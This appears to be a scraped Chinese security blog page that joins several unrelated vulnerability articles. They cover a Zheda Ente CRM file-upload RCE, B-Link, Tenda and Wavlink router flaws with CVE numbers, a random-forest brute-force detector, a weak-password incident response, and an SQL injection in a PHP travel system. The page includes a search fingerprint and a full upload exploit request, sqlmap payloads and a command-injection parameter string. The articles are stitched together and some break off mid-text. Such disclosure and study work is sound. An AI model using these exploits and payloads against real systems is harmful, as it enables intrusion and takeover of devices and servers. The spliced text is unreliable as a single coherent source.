浙大恩特前台RCE漏洞审计
指纹:title="欢迎使用浙大恩特客户资源管理系统"
本文对该系统公开在互联网,但未分析代码细节的漏洞进行审计分析:
前台文件上传RCE
该系统2019版本存在权限绕过加文件上传组合漏洞,可通过上传webshell实现前台RCE。
公开POC:
POST /entsoft/CustomerAction.entphone;.js?method=loadFile HTTP/1.1Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Gecko/20100101 Firefox/112.0 uacqAccept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding:
gzip, deflateConnection: closeContent-Type: multipart/form-data;
boundary=----WebKitFormBoundarye8FPHsIAq9JN8j2AContent-Length: 203
------WebKitFormBoundarye8FPHsIAq9JN8j2AContent-Disposition:
form-data; name="file";filename="as.jsp"Content-Type: image/jpeg
<%out.print("test");%>------WebKitFormBoundarye8FPHsIAq9JN8j2A--
权限绕过部分先看过滤器:
分析web.xml发现purfilter为全局过滤器:
如上,会对/*也就是任意请求进行拦截,跟进源码:
首先出现的就是白名单后缀+白名单接口,在后续校验中也是对非listExpUrl内容的后缀或者接口才会进行权限校验:
而拦截器在进行后缀白名单检测时,获取后缀的方式如下:
通过获取最后一个.的部分作为后缀。
而且该系统是tomcat容器,基于该容器对;的解析特性,不会匹配到;后面的内容,也就是在进行路由匹配时,只会匹配到CustomerAction.entphone,从而使得CustomerAction.entphone;.js?method=loadFile顺利进入过滤器层面的校验,并且此时获取的后缀又是.js,处于白名单后缀,从而实现权限绕过。
接下来分析:上传点代码漏洞原因:
先在xml文件寻找接口对应后端代码,该接口匹配后缀.entphone,对应代码为:enterphone.EntPhoneControl类。
全局搜索EntPhoneControl类:
跟进漏洞类CustomerAction:
跟进method对应loadFile方法:
要想进入文件上传逻辑,会先进行gesum参数的条件判断:
在gesum不为空时才进入上传逻辑,原数据包里面是没有传gesum参数的,在java里面,一般值会设置为NULL,而NULL不等于空,则能够顺利进入if逻辑。
进入if块后,代码会继续执行以下步骤:
创建CustomerBean并设置gesnum(此时gesnum为null)和tenantID。
调用customerBean.checkGesnum()检查客户代码是否存在。
这一步是关键:若checkGesnum()方法在gesnum为null时返回false(即认为"客户代码不存在",符合业务逻辑,因为null通常不是有效的客户代码),则会进入else分支,执行文件上传逻辑。
随后通过如上文件获取文件名,并直接进行文件上传,由于未进行后缀校验,从而可上传jsp文件,造成RCE漏洞。
本地环境漏洞复现:
上传成功,并成功解析:
使用随机森林识别暴力破解
1.暴力破解
暴力破解是一种最直接、最笨拙的攻击方式,见名知意,就是攻击者通过穷举所有可能的密钥、口令或输入组合,直到找到正确答案为止。
这种攻击方式看起来很low,但在现实中却屡见不鲜,因为许多用户仍然习惯使用过于简单的弱口令,比如像什么123456,或者是password或是生日、手机号等。
极易猜测的信息,一旦系统没有设置登录尝试次数限制,攻击者就可以借助自动化工具快速完成大规模的密码测试。
常见的暴力破解目标:
密码,像登录口令、Wi-Fi密码、数据库口令之类的。加密密钥,如对称加密中的密钥。验证码/Token,如短信验证码、验证码图片等。
暴力破解的分类
1. 纯暴力破解 从所有可能的字符组合开始尝试,例如: 尝试 "a"、"b"、"c" … 然后 "aa"、"ab"、"ac" …
2. 字典攻击,这个也比较常用 使用常见密码字典,比如 123456、password、qwerty 等进行尝试。 比纯暴力破解快,因为大部分用户喜欢用弱口令。
3. 混合攻击 字典 + 规则,例如: 在字典词后加数字password123 首字母大写Qwerty
2.随机森林
森林中的每个树就是决策树。
使用决策树的组合,可以提升其性能和准确率。随机森林是一种基于决策树的集成学习方法,它通过构建多个决策树模型,然后使用投票的方式进行预测,来减少过拟合的风险。
在实现随机森林时,需要对决策树的构建、特征选择、模型训练和预测等方面进行优化。
森林中的每一棵树都有很多叶子,在计算机中可以理解为很多节点,比如什么二叉树。
在决策树的每个节点,算法需要选择一个特征来进行分割,目的是最大化节点的纯度,即减少子节点中类别的不确定性。
举个例子来说:
首先要下载matplotlib,Scikit-learn和pandas
import pandas as pd
# 创建一个包含年龄和类别标签的Data
data = {
'Age': [25, 30, 35, 40, 45, 50, 55, 60, 65, 70],
'Category': ['A', 'A', 'B', 'B', 'B', 'C', 'C', 'A', 'B', 'C']
}
df = pd.DataFrame(data)
# 显示原始数据
df
这是一一对应的,比如说25对应A, 35对应B
现在我们去自定义一个分类:
# 根据年龄是否大于30来分割数据 gini = 0.2
df['Age_GreaterThan_30'] = df['Age'] > 30
# 根据年龄是否大于20来分割数据 gini = 0.1
# 显示分割后的数据
df
这样数据就可以分成小于30就是false,大于30就是true,这样就是把叶子做了一个特征分类。
所以当有这么一棵树的时候,有数据进来,就可以以此判断它的类别是什么。
那么随机森林就是很多棵决策树,但是每棵树略有不同,比如说取的数据不同。
比如说100个数据,使用10棵树,10棵树产生的分类也有所不同,这样就可以避免产生过拟合。
3.使用随机森林识别暴力破解
注意:这里的代码有些没有完全展示,因为太长了,只截取重要部分。
这里使用的数据是一些检测函数调用和攻击最后的结果之间的对应关系,用这些数据做特征。
https://github.com/verazuo/a-labelled-version-of-the-ADFA-LD-dataset?tab=readme-ov-file...
x1,y1 = load_adfa_training_files("./data/ADFA-LD/Training_Data_Master/")
x2,y2 = load_adfa_hydra_ftp_files("./data/ADFA-LD/Attack_Data_Master/")
先去加载数据,把数据分成两份,训练数据和攻击数据。
这里选择的就是hydra_ftp,暴力破解数据。
hydra是渗透过程中常用工具,这里就不展开解释了 https://github.com/facebookresearch/hydra
然后对训练数据和攻击数据都打上标签,也就是x1,y1 x2,y2
把x1,x2加起来进行一个拼接,y1和y2也是一样。
然后需要拿去做一个向量化,因为读取的数据都是字符串。
x1,y1 = load_data.x1,load_data.y1
x2,y2 = load_data.x2,load_data.y2
x = x1+x2
y = y1+y2
vectorizer = CountVectorizer(min_df=1)
x = vectorizer.fit_transform(x)
x = x.toarray()
print(type(x))
print(y)
# [1,2,3]
np.savetxt("../model/data_x.csv", x, delimiter=",")
np.savetxt("../model/data_y.csv", y, delimiter=",")
用CountVectorizer将读取的数据转换为numpy格式,转换完成就可以使用np.savetxt方式把x和y的数据导入到csv文件。
数据处理完之后,接下来就是模型,直接简短代码就行。
rf = RandomForestClassifier(n_estimators=model_param.rf_params["n_estimators"],
max_depth=model_param.rf_params["max_depth"],
min_samples_split=model_param.rf_params["min_samples_split"],
random_state=model_param.rf_params["random_state"])
使用随机森林模型
n_estimators: 这个参数指定了要构建的决策树的数量。
max_depth: 这个参数定义了树的最大深度,太小了容易欠拟合,不限制又容易过拟合。
min_samples_split: 这个参数指定了在树的节点上进行分裂所需的最小样本数,最少都需要两个,增加这个值可
以使树更加保守,减少过拟合的风险,但可能降低模型的复杂度和准确性。
这样模型就构建好了,接下来就是训练了。
x = np.genfromtxt("data_x.csv",delimiter=",")
y = np.genfromtxt("data_y.csv",delimiter=",")
x_train, x_test , y_train, y_test = train_test_split(x, y, test_size = 0.3)
save_model = model_struct.rf.fit(x_train, y_train)
# 模型的保存
with open('rf.pickle','wb') as f:
pickle.dump(save_model,f) #将训练好的模型clf存储在变量f中,且保存到本地
把刚才导出来x,y导入,将其分成测试集和训练集,将模型保存下来,用于接下的测试。
首先是得分测试:
with open('../rf.pickle', 'rb') as f:
clf_load = pickle.load(f) # 将模型存储在变量clf_load中
x = np.genfromtxt("../data_x.csv",delimiter=",")
y = np.genfromtxt("../data_y.csv",delimiter=",")
# 交叉验证
scores = cross_val_score(clf_load, x, y, cv=10, scoring='accuracy')
# 11111
# 00001
print(scores.mean())
plt.bar(np.arange(10),scores,facecolor='yellow',edgecolor='white') # +表示向上显示
for x,y in zip(np.arange(10),scores):
plt.text(x,y+0.05, '%.2f' % y,ha='center',va= 'bottom') # '%.2f' % y 保留y的两位小数 ha='center' 居中对齐 va= 'bottom' 表示向下对齐 top向上对齐
plt.ylim(0,1.1)
plt.show()
用十字交叉验证去做一个验证,去跑一下模型:
10次跑分的成绩
然后是使用的测试:
sys.path.append(config.syspath)
import config
import pickle
import numpy as np
def load_data(filename):
with open(filename, 'r') as f:
first_line = f.readline().strip('\n')
features = [float(feature) for feature in first_line.split()]
return np.array(features) # 确保返回的是一维数组
if __name__ == '__main__':
# 加载数据
data = load_data(config.syspath + "/model/model_test/UAD-Hydra-FTP-1-1613.txt")
# 获取实际特征数量
actual_features = data.shape[0]
# 模型期望的特征数量
expected_features = 142
# 根据特征数量决定如何处理
if actual_features < expected_features:
# 填充缺失的特征
padding = np.zeros(expected_features - actual_features)
data_padded = np.hstack([data, padding]).reshape(1, expected_features)
elif actual_features > expected_features:
# 截断多余的特征
data_padded = data[:expected_features].reshape(1, expected_features)
else:
# 特征数量匹配,无需修改
data_padded = data.reshape(1, expected_features)
# 加载模型
with open('../rf.pickle', 'rb') as f:
clf_load = pickle.load(f)
# 使用模型进行预测
prediction = clf_load.predict(data_padded)
print("预测结果:", prediction)
注意,这里模型是一个支持固定长度的特征输入,但是实战中经常会遇到各种不同长度特征的输入。
可以根据特征数量去进行一个处理,比如说这个特征是一个连续的特征,这里用到的数据都是函数的调用序列。
不管它们在什么位置,它们所代表的实际含义都是一样的,都是这个函数在哪个位置被调用了。
6 63 6 5 221 141 141 6 5 221 6 ....
比如说上述一部分数据,第一次调用了6号函数,第二次调用了63号函数,以此类推。
也就是特征和特征之间都是统一的内容,也就是连续的而不是离散的,那么就可以使用上述代码进行一个处理。
接下来去跑测试模式就可以了。
如果预测结果不太准确,那么就需要在模型参数那里进行一个调整,当然每一次调整参数都需要把原先的模式删除。
rf_params = {
'n_estimators':10,
'max_depth':None,
'min_samples_split':2,
'random_state':0
}
总之,使用随机森林去识别暴力破解,就是导入一些安全产品记录了一些时间段某些函数的调用的数据。
把数据进行一个预处理,就是把函数名称做一个排序,然后对应到序号上,生成上述的那一部分数字。
接下来就可以重复刚刚的步骤,转换,构建,训练,测试。
这个数据是函数调用序列,可能比较抽象,或者用网络数据包数据或许会更好,但是模型构建的方法是一样的。
B-Link X26路由器Web服务风险挖掘
0.前言
在对B-Link X26 V1.2.8 路由器固件进行安全审计时,发现其在处理特定输入的过程中存在命令注入溢出漏洞。
该漏洞的成因在于程序未对用户传入的数据进行严格的合法性校验,直接拼接进入系统命令,攻击者可以借此注入并执行任意代码。这种情况不仅可能导致设备运行异常,还可能在某些条件下使攻击者获得对路由器的完全控制。
通过验证与复测确认,该漏洞风险等级较高,利用门槛低,极易被远程攻击者滥用,对设备本身以及所处网络的安全性构成严重威胁。
目前,我已将漏洞细节、复现过程与修复建议整理成完整报告,并通过官方渠道提交给厂商及 CVE 分配机构。
该漏洞已被收录,编号为 https://www.cve.org/CVERecord?id=CVE-2025-9580。
1.漏洞概述
B-Link X26路由器 V1.2.8版本存在命令执行漏洞,触发该漏洞需要进行一次授权,当攻击者获取授权之后可以通过发送恶意的HTTP POST请求即可触发该漏洞。
2.漏洞详情
https://www.b-link.net.cn/product_29_174.html官网下载完固件之后,使用binwalk进行解包。
这个固件解包出来后,比起之前其他我挖过其他消费级路由器也有很大不同。
首先它没有httpd文件,解包后习惯性地在 bin/ 或 sbin/ 目录中寻找 httpd 可执行文件,因为在大多数消费级或企业级路由器中,Web 管理界面往往依赖 httpd 作为核心服务。但在 B-Link X26 的固件中并没有找到 httpd,这使得常规思路无法直接套用。
接下来尝试在 Web 资源目录下寻找脚本文件,一般来说企业级路由器会包含大量 .php 脚本,比如 DCME-720 ,消费级路由器则可能依赖 .cgi 文件来处理。
后台逻辑,但是在 B-Link X26 中,.cgi 文件数量极少,仅发现了与上传相关的 upload.cgi。这与以往分析的 DCME、Wavlink 固件有明显不同:后者解包后能看到一整套配置、认证、状态查询相关的脚本,而在 X26 上,脚本层几乎不存在。
既然缺少传统的 httpd,.cgi 文件也很少,说明该固件的 Web 服务逻辑并未像常见路由器那样拆分到大量脚本中,那么剩下的可能性,要么Web 服务被嵌入在某个非典型命名的二进制中,或者是路由器采用了轻量级嵌入式 Web 服务器。
带着这个假设,再次对 bin/ 目录进行排查,可以发现一个名为 goahead 的可执行文件。
通过字符串检索与反汇编分析,可以在 goahead 中发现大量 Web 服务相关的函数调用,比如 websGetVar、HTTP 请求处理逻辑,并且能定位到 system()、popen() 等命令执行函数。
所以说B-Link X26 的 Web 管理界面核心逻辑全部集成在 goahead 内部,而不是依赖外部的 .cgi 或 .php 文件。
回到正题,当请求路径为set_hidessid_cfg时候会进入sub_44F9F4函数的处理逻辑。
可以看到,这里从 HTTP 请求里取出参数 type 和 enable,a1 通常是 webs_t 结构(goahead 的请求上下文),websGetVar 用来提取请求参数。
如果没取到,返回默认值 ""
然后又通过创建json对象的格式将参数打包成json对象传入到了bs_SetSSIDHide函数中,从名字可以看出来这是修改隐藏 SSID的配置的函数。
{
"type": "<用户输入的type参数>",
"enable": "<用户输入的enable参数>"
}
那么这里就会有一些问题,type和enable完全是由用户输入的。
没有过滤,type 和 enable 原样地放进 JSON。
关键在于 bs_SetSSIDHide 的实现,如果说它内部调用了 system()/popen() 来修改无线配置,比如说执行 iwpriv、uci set 等命令,就可能引发命令注入。
但是如果只是直接操作配置文件/内存结构,则风险较小。
所以接着看 bs_SetSSIDHide 函数,但是这里有个问题,就是它是个外部函数,无法在gohead里面直接找到,这说明该函数并不在当前二进制中实现,而是来自外部库。
所以为了找到其具体的实现逻辑,首先检查了 goahead 的动态依赖库。
readelf -d goahead | grep NEEDED
该命令用于列出 goahead 这个程序运行时所必需的所有动态链接库,共享库文件。
查出了 goahead 运行时依赖的动态库,包括:libc.so.0,libnvrm.so.0,libshare.so.0之类。
既然 bs_SetSSIDHide 在 goahead 内部没定义,那么它必然来自这些依赖库之一。
根据经验,libshare.so.0 这个命名,share → 常常封装设备配置、WLAN、系统参数等接口,就可以合理怀疑这个函数实现藏在里面。
我们也可以验证一下猜测
nm -D libshare.so.0 | grep bs_SetSSIDHide
该命令用于检查名为 bs_SetSSIDHide 的函数是否存在于共享库 libshare.so.0 的动态符号表中,从而确认该函数是否可以被其他程序调用。
0002b7f4是函数 bs_SetSSIDHide 在 libshare.so.0 里的偏移地址,如果库被加载到内存,这个地址会加上库的基址,得到函数的真实运行时地址。
T表示该符号在 Text 段,也就是代码段中被定义,说明它是一个函数。字母 T 是大写的,这表示它是一个全局符号,意味着这个函数可以被链接到这个库的其他程序或库文件调用。如果是小写的 t,则表示它是一个内部函数,只能在库内部使用。
如果是 U,就表示 undefined,也就是未定义,只是引用。
bs_SetSSIDHide,就是符号名,也就是函数的名字,这说明 bs_SetSSIDHide 真正的实现就在 libshare.so.0 里。
这张图的输出证明了 bs_SetSSIDHide 在 libshare.so.0 中确实有定义(函数实现),地址偏移是 0x2b7f4,因此在 goahead 里调用的就是这个库函数。
所以按理来说我们应该去逆向分析libshare.so.0
但是由于其中 libshare.so.0 属于 共享对象名,其作用是给运行时动态链接器提供一个稳定的接口名称。
而 libshare-0.0.26.so 才是库的真实实现文件。通常情况下,libshare.so.0 会通过符号链接指向 libshare-0.0.26.so
所以直接处理 libshare-0.0.26.so就好,因为它包含了完整的符号信息与函数实现。
可以发现bs_SetSSIDHide将传入的两个json格式的对象进行了取值,并且接下来存在一个判断,对type取值为sethide2绕过这个if分支。
这里会发现对v20进行了命令执行,而v20是通过v7拼接而来的,而v7往上翻就是取到的值enable,也就是一开始传入的值。
那么这里就存在一个libc函数相关的命令执行。
3.漏洞验证
淘了一台真机,直接省事,懒得去仿真了(其实是仿真不起来....),真机才是硬道理!
然后去访问3.txt文件就会发现已经注入成功了。
应急响应:某网站被挂非法链接
事件概况
最近应急,遇到一起官网非法链接事件。如下图所示,使用百度搜索引擎语法site:www.网站域名 搜索某关键字,会出现一堆结果。并且只有百度搜索引擎可以搜索出来,其他的都没有记录。
挨个点开,都是404,最近的一条是8.15的。
到现场后,先建议工作人员分批进行用户反馈,期望百度能够尽快删除搜索结果,将负面影响降低到最小,之后着手应急。
既然是挂链接,又是404,说明在百度爬虫收录之后,链接原文已经被删除。作案者相当谨慎,估计是下次接到活儿还想如法炮制。现场资产情况是:
Windows Server 2016
IIS 10
Microsoft Sql Server 2008
WAF
排查角度有两个,一是服务器被入侵了,这是最糟糕的结果,二是网站本身存在漏洞,作案者直接操作网站后台发的文。
上机排查
登录服务器,看到桌面还算整洁,与运维人员核实,安装的软件也都正常。查看服务器上仅有的安全防护措施——卡巴斯基,未发现活动威胁,情况还算可以。
翻看卡巴斯基防护日志,并没有异常行为告警,只有一条漏洞利用防御的记录,还是告警的D盾。
将D盾拿上服务器,逐一翻看一遍,并没有发现异常,IIS模块都是正常运行。
排查到这里基本可以排除服务器被入侵的可能了。然后,有效的安全设备仅有一台WAF,登录上去看看与该网站相关的日志。
看到很多发文异常的告警,但仅仅是告警,没有阻断,估计是不允许影响业务。
从这条告警来猜测,网站有可能存在编辑器漏洞,kindeditor。但也就这些告警,没有参考价值,因为响应结果记录为空。
既然没有入侵服务器,没有植入马儿,那就还是通过网站操作来发布的文章。所以下面的排查思路是跟踪文章的发布和删除时间,以及发布者账号、登录IP等等。
联系软件开发公司的人,询问文章删除逻辑:
顿时感觉这套系统开发的好随意,文章说删就删了,真的删了,没有给追踪溯源留下一丝余地。接下来怎么办?看看web日志吧。
web日志
web日志分为两种,一种以ex开头,记录的是爬虫行为,文件普遍偏小,另一种以nc开头,记录的是网站的访问日志,文件普遍偏大。
根据“Baiduspider”关键字搜索百度爬虫的时间。
302太多,只需要200的,并且加上大概的时间范围:
记录还是太多。询问开发人员有没有url白名单,不出所料,回复依然是“不知道”。如此一来,从百度收录时间入手排查的思路就断了。然后怎么办?看看访问日志吧,根据访问数量筛选一下。
果然,有一个IP的访问数量特别多,针对这个IP筛选一下。
访问时间大多在凌晨一两点,且url多数和kindeditor有关,着实可疑。然后根据这个IP查一下登录账号:
只有寥寥几条,应该是只供页面展示用,而且不支持下一页查询。既然开发不给力,那就只有自己登录数据库查询了。
Database
登录之后翻看表空间,首先看到一张User表,本能地打开。看到loginPwd列,自然是存储的密码,不过,再仔细瞧瞧这些记录,16位的MD5啊!
继续翻看发现,怎么有几个相同的MD5值?难不成是初始密码还没改。
把这几个相同的MD5拿出来解密一下:
解出来了,又是一个MD5,再次解密:
出来了,弱口令,111。用户密码的加密规则是两次MD5处理。以这个密码为查询条件筛选一下用户,好家伙,总共6个人都是用的这个密码。
在其中随便找个账号查询其近两个月的登录记录:
果然,8.11登录过,而且是外省地址。回看百度爬虫收录时间是8.15,从发文到被爬取用了4天时间,符合爬虫效率。
之后再去除源地址转换、出口IP地址、IPv6地址,筛选所有弱口令账号近三月的登录日志,共53条。
经分析发现其中一个账号存在多地点多IP登录的情况,且登录IP中有多个为恶意IP,下图是其一。
用其账号登录网站后台管理系统,瞬间一目了然:
账号权限包括发布文章、修改文章、删除文章......一应俱全。
总结两点
说一千道一万的是弱口令,屡禁不止的是弱口令,明知故犯的还是弱口令。
应急是个综合性很强的活儿,有时候不需要多么高超的技术,像这次,我就当了一把系统运维和数据库运维。
Tenda AC20路由器缓冲区溢出漏洞分析
1.前言
七月底,在对 Tenda AC20 路由器 进行安全分析时,发现其固件在处理特定输入时存在 缓冲区溢出漏洞。
该漏洞源于程序在拷贝用户输入时缺乏有效的边界检查,攻击者可以通过构造恶意请求触发溢出,从而导致系统崩溃,甚至在某些场景下获得更高权限,进而完全控制设备。
经过多次验证与测试,确认该漏洞风险较高,对设备的安全性影响严重。
我整理了一份详细的技术报告,内容包括漏洞成因、复现方法及修复建议,并通过正规渠道提交给厂商及 CVE 分配机构。
近日,该漏洞已被正式收录,编号为 https://nvd.nist.gov/vuln/detail/CVE-2025-8939 。
2.漏洞概述
Tenda AC20 路由器被发现存在缓冲区溢出漏洞。攻击者可以通过向某些路径发送特制的 HTTP POST 请求来触发此漏洞,从而可能导致拒绝服务 (DoS) 攻击,甚至远程代码执行 (RCE)。
3.漏洞细节
AC20 路由器的最新固件可从腾达官网下载:AC20 升级软件 - https://www.tenda.com.cn/
固件可以使用以下在线工具解压:https://zhiwanyuzhou.com/multiple_analyse/firmware/
或者直接使用binwalk解包也是可以的,获得以下文件:
我们要找到/squashfs-root/bin/httpd 二进制文件。
因为httpd就是Tenda 路由器的 Web 管理后台进程,大部分家用路由器,包括 Tenda都提供一个 Web 管理界面,这个界面其实就是由路由器内部的一个小型 Web 服务器httpd提供的。
当用户在浏览器里访问路由器后台时,请求会被发送到路由器本地运行的 httpd 服务,这个二进制文件负责接收、解析 HTTP 请求,比如说登录、修改 Wi-Fi 密码、固件升级等,然后调用底层的系统函数或配置接口。
由于 httpd 要解析用户提交的数据,如果代码没有做好边界检查,就可能导致缓冲区溢出、命令注入等问题,这也是为什么路由器的很多漏洞,很常见的溢出、注入、未授权访问都集中在 httpd 这个二进制文件里。
解包文件里面还有dhttpd二进制文件,它与httpd最大的不同就在于httpd是Tenda 的主后台 Web 管理进程,就是能够对用户可见的路由器后台,而dhttpd则会用来跑一些非核心但需要 Web 接口的功能,像什么诊断、子模块或者是其他特定功能。
在Tenda AC 系列里,Web 管理界面并没有用第三方服务器,比如lighttpd,或者是boa之类的,而是厂商自己写的 httpd 二进制文件。
那么,所有 HTTP 请求直接由这个 httpd 处理,路由器后台的逻辑,像什么 Wi-Fi 配置、系统管理之类的也都在里面实现,所以漏洞就会出现在 httpd 本身。
换句话说,Tenda 的 httpd 本身就是 Web 服务 + 业务逻辑的二合一。
回到正题,我们在httpd文件中发现函数fromSetWifiGusetBasic有缓冲区溢出的风险。
可以看到这里的函数fromSetWifiGusetBasic,该函数会获取shareSpeed的值,然后将其复制到Var数组中,且没有进行长度检查,从而导致缓冲区溢出漏洞。
交叉引用后再往上翻就会发现它其实是有个前提条件的,那就是请求路径必须是WifiGuestSet。
这行代码的作用,是把 WifiGuestSet 这个字符串与具体的处理函数 fromSetWifiGuestBasic 绑定在一起。换句话说,只要有请求命中 WifiGuestSet,设备就会调用对应的函数去执行。
所以我们Poc的请求路径就应该是POST /goform/WifiGusetSet HTTP/1.1 。
路径前加 /goform/ 是 Tenda 固件的惯用套路,结合代码逻辑,基本可以确认。
4.漏洞验证
确定漏洞点之后,我们先把固件跑起来,模拟一个真实运行环境,更好让我们观察是否因为栈溢出而产生崩溃页面
找到 /bin/httpd 文件。要模拟环境,使用以下命令:
sudo chroot ./ ./qemu-mipsel-static ./bin/httpd
等一会之后,直接上浏览器输入对应IP地址 192.168.102.145,就可以进入到AC20路由器页面。
跑起来之后,我们使用burpsuite进行一个发包测试,发送一堆垃圾数据到sharedSpeed。
可以发现192.168.102.145/main.html出现了崩溃信息。
而从终端也观察到分段错误,确认发生了栈溢出,也就是shareSpeed这里存在一个缓冲区错误。
某路由器二进制漏洞挖掘过程
1.前言
半个月前,我在对Wavlink品牌WL-NU516U1型号路由器进行安全测试时,发现其管理界面存在一处命令注入漏洞。
该漏洞源于系统对用户输入过滤不严,攻击者可通过特制的HTTP请求在设备中执行任意系统命令,从而完全控制设备。
经过深入分析与验证,确认该漏洞具有高危害性,可导致设备被完全接管。
我写了详细的技术报告,包括漏洞成因、利用方式和修复建议,并通过正规渠道向Wavlink厂商及CVE机构提交。
近日,该漏洞已正式获得CVE编号CVE-2025-9149。
https://www.wavlink.com/en_us/index.html2.漏洞概述
Wavlink是一家专注于网络设备和通信解决方案的公司,提供优质的路由器、扩展器和网络配件。其下的WAVLINK-NU516U1型号的固件,功能用于提供打印机服务器网卡,其管理后台存在命令注入漏洞,允许攻击者完成os命令执行。
固件下载地址:
https://docs.wavlink.xyz/Firmware/fm-516u1/ 3.漏洞详情
对固件binwalk -Me [固件位置] 解包
binwalk -Me WAVLINK-NU516U1-WO-A-2024-04-25-b516aec-GDBYFM.bin
获得其解包文件,而我们要找到/squashfs-root/etc/lighttpd/www/cgi-bin中的wireless.cgi二进制文件,
它的位置在 cgi-bin目录下,它是Lighttpd Web服务器的一个后端CGI程序。
当用户通过浏览器访问路由器的管理界面,比如说随便点击“无线设置”页面提交表单时,Lighttpd Web服务器会接收到这个HTTP请求。
Web服务器根据请求的URL,判断需要由哪个CGI程序来处理,对于无线设置相关的请求,它就会找到并执行这个 wireless.cgi文件。
wireless.cgi程序开始运行,它解析HTTP请求中的数据,比如你提交的表单项,然后可能会调用其他系统工具,如内置的 iwconfig、wpa_supplicant,或者直接读写配置文件, /etc/config/wireless来执行具体的无线网络配置更改。
处理完毕后,wireless.cgi会生成一个HTTP响应,比如一个成功响应的HTML页面,并将其输出到标准输出。
Web服务器捕获到这个输出,并将其打包成完整的HTTP响应,发送回给用户的浏览器。
与用户浏览器直接进行网络通信的是 Lighttpd Web服务器。
wireless.cgi是一个被Web服务器调用的后台程序,负责处理具体的业务逻辑。它是间接与外界通信的关键环节。
所以,这个wireless.cgi虽不直接与外界进行通信,但是它却负责处理用户从外部输入的数据,比如说HTTP请求参数,如果它对这些输入的处理不当,例如没有经过严格过滤就直接拼接成系统命令,就非常容易产生命令注入、缓冲区溢出等漏洞。
找到之后,拿IDA打开,观察其函数,先看main函数,首先用了fgets函数获取标准输入,拿到了用户提交的page参数值。
sub_405EA8函数将page参数值设置为GuestWifi,会跳转进入sub_4032E4函数。
sub_4032E4函数内,获取了Guest_ssid参数值,该值可以post传参可控,而且这段代码是典型的“功能开关”设计,程序在处理HTTP请求参数时,会依次读取多个配置值。
从参数名可以推断,guestEn代表 “Guest Enable”,即访客网络功能的总开关,代码首先获取这个开关的值 (v2 = sub_405EA8("guestEn", a1,0));,并将其保存到变量 v4中,而Guest_ssid是依赖项,Guest_ssid是访客网络功能下的一个子配置项,它的逻辑处理必然依赖于总开关 guestEn是否开启。
随后Guest_ssid参数值被传入sub_407504函数内。
而往上看会发现,必须v4为1,才会去执行sub_407504函数,否则就会跳到label_11的地方去,而v4在往上看则能够发现是字符串guestEn的值。
所以构造poc的时候,必须将guestEn设置为1
而在sub_407504函数中,在其中拼接给v8变量,交给system函数执行,产生了命令注入。
所以我们只需要构造page=GuestWifi&guestEn=1&Guest_ssid=1.txt就可以产生命令注入漏洞。
4.漏洞验证
首先使用工具将Wavlink模拟起来,这里选择了FrimAE
sudo ./run.sh -r Wavlink /home/fuzz/Wavlink/WAVLINK-NU516U1-WO-A-2024-04-25-b516aec-GDBYFM.bin
检查名为"httpd"的进程是否正在运行
设备正在运行 lighttpd Web服务器,其配置文件位于 /etc/lighttpd/lighttpd.conf
在浏览器打开F12,观察其Cookie,好帮助我们接下来发包的时候顺利。
接下来进行一个发包测试,将数值写入到poc.txt文件中,观察Wavlink路由器文件是否会出现poc.txt,且里面是否有我们注入的内容。
可以发现已经成功注入进去了,证明这里确实存在命令注入漏洞。
在线旅游及旅行管理系统项目SQL注入
1.前言
之前在网上随便逛逛的时候,发现一个有各种各样的PHP项目的管理系统,随便点进一个查看,发现还把mysql版本都写出来了,而且还是PHP语言。
https://itsourcecode.com/free-projects/php-project/online-tours-and-travels-management-system-project-in-php-and-mysql/那这可能存在sql注入漏洞,所以代码审计了一下,并上报了CVE,现在编号下来了 CVE-2025-9008,CVE-2025-8993,于是公开发现过程。
2.漏洞详情
1.1 CVE-2025-9008
下载其源代码之后,对“在线旅游及差旅管理系统”进行安全审查期间,发现“/admin/sms_setting.php””文件中存在一个高危SQL注入漏洞。
$sql = "UPDATE sms_setting SET uname='".$_POST['uname']."',
password='".$_POST['password']."',
sender_id='".$_POST['sender_id']."'
WHERE id='1'";
这段sql代码一眼望过去就是,直接将用户通过 $_POST超全局数组提交的数据,未经任何过滤和转义,就拼接到了 SQL 查询字符串中,那这肯定就存在sql注入漏洞。
因为sql 注入的核心在于“混淆了代码和数据”,用户的输入本应被视为普通数据,但由于直接拼接,攻击者可以精心构造输入,让其成为 sql代码的一部分,从而篡改原SQL语句的意图。
比如说在密码 password 输入框中,攻击者输入了:' OR '1'='1
那么,最终拼接出来的 SQL 语句会变成:
UPDATE sms_setting SET
uname='hacker',
password='' OR '1'='1',
sender_id='fake_sender'
WHERE id='1'
这条语句的含义被彻底改变了。password字段的赋值不再是一个简单的字符串,而是变成了一个逻辑判断 '' OR '1'='1'。这个判断的结果是 永远为真。
更高级的攻击者甚至可以输入类似 '; DROP TABLE users; --的内容,从而执行任意sql命令,比如说删除数据库表,导出数据库数据之类的操作。
payload
---
Parameter: uname (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ&password=111111111111111111&sender_id=1111111111111111111&update=
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: uname=111111111111' AND EXTRACTVALUE(9139,CONCAT(0x5c,0x7178627171,(SELECT (ELT(9139=9139,1))),0x716a787171)) AND 'CAQx'='CAQx&password=111111111111111111&sender_id=1111111111111111111&update=
---
我们也可以使用一些工具来进行查看,比如说sqlmap。
sqlmap -u "http:/http://127.0.0.1/code/admin/sms_setting.php" --data="uname" --batch --dbs
通过 HTTP POST 请求 提交的、名为 uname的表单字段,选择了布尔盲注的攻击类型。
布尔盲注这是一种高级注入技术,用于当网站不会直接显示数据库错误信息,并且查询结果也不会直接返回到页面上的情况。攻击者通过向数据库发送一个“问题”,然后根据页面返回的细微差异,一般来说都是通过观察页面是否可以正常加载来判断。
而图中的payload
uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ
111111111111:这是一个随机的无效用户名,目的是让原查询的uname匹配不到结果。
